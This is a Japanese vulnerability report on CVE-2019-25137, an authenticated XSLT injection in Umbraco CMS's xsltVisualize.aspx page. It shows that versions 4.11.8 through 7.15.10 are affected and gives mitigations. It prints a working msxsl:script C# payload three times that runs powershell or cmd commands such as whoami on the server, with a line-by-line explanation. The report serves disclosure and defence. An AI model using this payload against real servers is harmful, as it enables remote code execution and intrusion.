
CVE-2019-25137 の全容を調査した詳細レポート
CVE-2019-25137 は、Umbraco CMS における XSLT インジェクションの脆弱性です。この脆弱性は、XSLT (Extensive Stylesheet Language Transformations) Visualizer の Web ページに存在します。この Web ページの脆弱な URI は /umbraco/developer/Xslt/xsltVisualize.aspx です。
XSLT Visualizer が悪用されると、標的のシステム上で C# コードが実行される可能性があります。この脆弱性を悪用するには、ユーザーは Umbraco CMS の正規の管理者資格情報を持っている必要があります。
CVE-2019-25137 の概念実証では、msxsl:script 要素が使用されます。この要素により、XSLT 変換で C# などの追加のプログラミング言語を使用できるようになります。
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
XSLT ペイロードは、次の C# コードを実行しようとします。
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
C# コードは次のステートメントに分解されます。すべての定義は Microsoft の Web サイトに文書化されています。
Umbraco はオープンソースの CMS であるため、旧バージョンと新バージョンの両方で、どのバージョンに xsltVisualize.aspx がまだ存在する可能性があるかを特定するために、Web サイトからさまざまなインストール バージョンを入手しました。

分析によると、xsltVisualize.aspx ファイルは Umbraco CMS バージョン 4.11.8 から 7.15.10 まで存在します。このファイルと Development フォルダー全体は、バージョン 8.0.0 以降には存在しません。

最も古いバージョンも CVE-2019-25137 の影響を受けることを示すために、Umbraco 4.11.8 のテスト インスタンスをセットアップしました。

Umbraco CMS 4.11.8 の xsltVisualize.aspx を Umbraco CMS バージョン 7.12.4 のものと比較すると、わずかな違いはありますが、Web ページの機能は同じであることがわかります。

エクスプロイトをテストするには、ユーザーは xsltSelection フィールド内にペイロードを送信する必要があります。

前述のペイロードを使用して、リモート コード実行を達成できました。これは、このバージョンも脆弱であることを示しています。下の画像は whoami の実行を示しています。
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

xsltVisualize.aspx を含む最新バージョンの Umbraco も脆弱であることを示すために、Umbraco 7.15.10 のテスト インスタンスをセットアップしました。

Umbraco CMS 7.15.10 の xsltVisualize.aspx を Umbraco CMS バージョン 7.12.4 のものと比較すると、それらが同じであることがわかります。

/umbraco/developer/Xslt/xsltVisualize.aspx URI に移動すると、ファイルが確かに存在することがわかります。

前述の同じペイロードを使用して、再びリモート コード実行を達成できました。これは、このバージョンも脆弱であることを示しています。下の画像は whoami の実行を示しています。
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

これらの例は、CVE-2019-25137 が 7.12.4 以外の Umbraco バージョンにも存在することを示しています。4.11.8 から 7.15.10 までのすべてのバージョンに脆弱な Web ページが含まれているため、CVE の更新に含める必要があります。CVE-2019-25137 は、xsltVisualize.aspx ファイルへのアクセスを削除するか、Umbraco の最新バージョンに更新することで軽減できます。
元の CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
Umbraco リリース日- https://our.umbraco.com/download/releases/774
Umbraco バージョン - https://our.umbraco.com/download/releases
XSLT の定義 - https://en.wikipedia.org/wiki/XSLT
使用したペイロード - https://github.com/noraj/Umbraco-RCE
| Function | Overview |
|---|
| System.Diagnostics.Process proc | ローカルおよびリモートのプロセスへのアクセスを提供し、ユーザーがローカル システム プロセスの開始と停止を可能にします。このプロセスは "proc" と呼ばれます。 |
| proc.StartInfo.FileName | ユーザーが起動したいアプリケーションの名前を定義します (powershell または cmd)。 |
| proc.StartInfo.Arguments | FileName で必要となる可能性のある追加の変数を定義します。 |
| proc.StartInfo.UseShellExecute | プロセスの開始にオペレーティング システムのシェルを使用するかどうかを示す値です。powershell または cmd のいずれかが使用されるため、false に設定されます。 |
| proc.StartInfo.RedirectStandardOutput | アプリケーションの出力を StandardOutput ストリームに書き込むかどうかを示す値です。true に設定されます。 |
| proc.Start() | "proc" プロセス リソースを開始し、それを Process コンポーネントに関連付けます。 |
| string output = proc.StandardOutput.ReadToEnd() | "proc" に対して同期的な読み取り操作を実行し、それを "output" 変数にリダイレクトします。 |